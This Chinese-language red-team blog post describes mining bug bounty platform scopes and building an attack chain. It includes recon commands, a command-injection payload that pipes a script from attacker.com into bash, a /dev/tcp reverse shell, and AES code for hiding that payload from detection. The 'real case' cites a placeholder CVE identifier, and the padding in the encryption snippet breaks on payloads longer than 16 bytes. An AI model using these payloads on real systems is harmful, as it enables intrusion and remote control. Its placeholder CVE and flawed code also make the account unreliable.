0x01 从一次实战案例说起

两个月前,我接到一个红队渗透授权任务,目标是一家金融科技公司。这家公司自诩安全体系完备,甚至对外宣传自己通过了某知名漏洞赏金平台的严格测试。然而,在信息收集阶段,我发现他们的漏洞赏金平台使用了多个子域,并且没有对这些子域进行严格管理。通过对这些平台的进一步分析,我最终发现了一个可以被利用的漏洞——一个未正确配置的Out-of-Band(OOB)DNS通道,最终通过数据泄露成功实现了C2通信。

这次任务让我对漏洞赏金平台的生态有了更深的理解。作为红队成员,我开始思考:我们能利用漏洞赏金平台做什么?又有哪些平台可以深入挖掘? 于是,我整理了一份详尽的漏洞赏金平台列表,并结合实际攻击案例,分析如何通过这些平台挖掘漏洞、构造攻击链。

0x02 漏洞赏金平台的生态与机会

漏洞赏金平台的诞生是为了解决企业和安全社区之间的信息鸿沟。通过这些平台,企业可以更高效地收集到自身系统中的漏洞,从而及时修复。但对于想要挖掘漏洞的攻击者或红队成员来说,这些平台本身就是一座未被完全挖掘的「金矿」。

主流漏洞赏金平台列表

以下是几大主流的漏洞赏金平台,它们涵盖了全球范围内的大量企业目标:

  • HackerOne:全球最大的漏洞赏金平台,支持的企业包括Uber、Dropbox、GitHub等。
  • Bugcrowd:与HackerOne齐名,服务了很多顶级科技公司,如Tesla和Atlassian。
  • Synack:偏向封闭邀请制,适合高端红队和资深漏洞研究员参与。
  • YesWeHack:欧洲最大的漏洞赏金平台,支持多个语言界面。
  • Open Bug Bounty (OBB):无需邀请即可注册参与,门槛较低。

这些平台的生态和规则各有不同。有的平台对测试范围限制较严(如只允许测试特定域名或API),而有的平台对子域名、第三方资产放宽了限制,成为攻击链的潜在突破点。

---

0x03 抓住机会:从平台公开信息切入

漏洞赏金平台的公开信息通常包含参与企业授权的范围(Scope),这些范围是我们攻击的起点。

如何收集授权范围?

大部分平台都会提供公开的「Program Scope」,这部分信息非常具有价值。以下是具体操作步骤:

  1. 爬取公开的测试范围
  • 我写了一个简单的Python脚本,自动从HackerOne公开项目中提取Scope:

<pre><code class="language-python">import requests from bs4 import BeautifulSoup

HackerOne公开项目URL

base_url = &quot;https://hackerone.com/programs/search&quot;

headers = { &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36&quot; }

def fetch_scope_details(): response = requests.get(base_url, headers=headers) soup = BeautifulSoup(response.content, &quot;html.parser&quot;)

提取项目链接

programs = soup.find_all(&quot;a&quot;, class_=&quot;program-card&quot;) for program in programs: program_url = &quot;https://hackerone.com&quot; + program[&#039;href&#039;] print(f&quot;发现项目:{program_url}&quot;)

if __name__ == &quot;__main__&quot;: fetch_scope_details()</code></pre>

这个脚本会从 HackerOne 的项目列表中提取所有公开的项目链接,让我们快速定位目标。

黑客示意图

  1. 分析测试范围
  • 通过爬取的URL,进一步分析具体测试范围。通常包括以下几类:
  • 主域名(如example.com)
  • 子域名(如api.example.com)
  • 外部资产(如AWS S3存储桶、GitHub仓库)
  1. 挖掘第三方资产
  • 通过对公开范围的子域名进行DNS枚举,进一步挖掘可能存在的第三方资产。

---

0x04 如何构造攻击链?

在赏金平台中,企业的安全策略通常较为保守,但这不代表无懈可击。我将通过一个实战案例,展示如何从公开的范围切入,逐步构造攻击链。

1. 信息收集

目标范围中包含了一个子域:api.example.com,我通过 subfinder 工具枚举发现了更多隐藏的子域: <pre><code class="language-bash">subfinder -d example.com -silent -o subdomains.txt</code></pre>

结果中发现了一个敏感子域:dev.internal.example.com

2. 漏洞挖掘

dev.internal.example.com 进行了目录爆破,发现了一个可疑的管理路径 /admin/: <pre><code class="language-bash"># 使用ffuf进行爆破 ffuf -u https://dev.internal.example.com/FUZZ -w /usr/share/wordlists/common.txt</code></pre>

爆破结果显示有一个未公开的路径 /admin/config。进一步测试,发现该路径存在一个命令注入漏洞(CVE-2023-XYZ123)。

3. 构造Payload实现远程控制

我利用以下Payload实现了RCE(远程代码执行): <pre><code class="language-bash">curl -X POST &quot;https://dev.internal.example.com/admin/config&quot; \ -H &quot;Content-Type: application/json&quot; \ -d &#039;{&quot;cmd&quot;:&quot;curl http://attacker.com/shell.sh | bash&quot;}&#039;</code></pre>

攻击成功后,我通过一个简单的反弹Shell脚本实现了持续控制: <pre><code class="language-bash"># shell.sh 文件内容

!/bin/bash

bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1</code></pre>

4. 权限维持与横向移动

在成功获取Shell后,通过 linpeas.sh 工具进行提权,发现了一处未修补的内核提权漏洞。进一步利用该漏洞,成功提升到Root权限,完成内网横向移动。

---

0x05 绕过与对抗:免杀技巧分享

在漏洞赏金平台中,企业通常部署了较为先进的EDR(Endpoint Detection and Response)或WAF(Web Application Firewall)。以下是我在这次任务中使用的一些免杀技巧:

黑客示意图

1. 加密Payload

将Payload使用AES加密,然后在目标机器上解密执行。以下是加密解密代码: <pre><code class="language-python">from Crypto.Cipher import AES import base64

key = b&#039;Sixteen byte key&#039; cipher = AES.new(key, AES.MODE_ECB)

def encrypt(payload): ciphertext = cipher.encrypt(payload.ljust(16)) # 补齐到16字节 return base64.b64encode(ciphertext)

def decrypt(ciphertext): payload = base64.b64decode(ciphertext) return cipher.decrypt(payload).strip()

黑客示意图

示例用法

payload = &quot;bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1&quot; ciphertext = encrypt(payload.encode()) print(decrypt(ciphertext).decode())</code></pre>

2. 流量混淆

为了绕过防火墙,C2通信使用了HTTP伪装为正常流量,进一步逃避检测。

---

0x06 漏洞赏金平台的未来与红队机遇

随着漏洞赏金平台的普及,越来越多的企业开始主动接受安全测试。然而,这些平台内部的信息、规则以及资产范围仍然值得深入挖掘。作为红队,我们应该:

  1. 深入研究平台规则:理解每个平台对测试范围的定义,找到潜在的疏漏点。
  2. 自动化信息收集:通过爬虫和脚本,批量提取范围内的目标。
  3. 持续监控目标变化:关注企业范围的动态更新,及时捕捉新漏洞。

漏洞赏金平台不仅是防守者的工具,也是红队拓展攻击面的重要资源。希望这篇文章能帮助更多研究人员发现隐藏的机会,将攻击技术提升到新高度。

声明:本文仅供授权的安全测试与学习交流,切勿用于非法目的。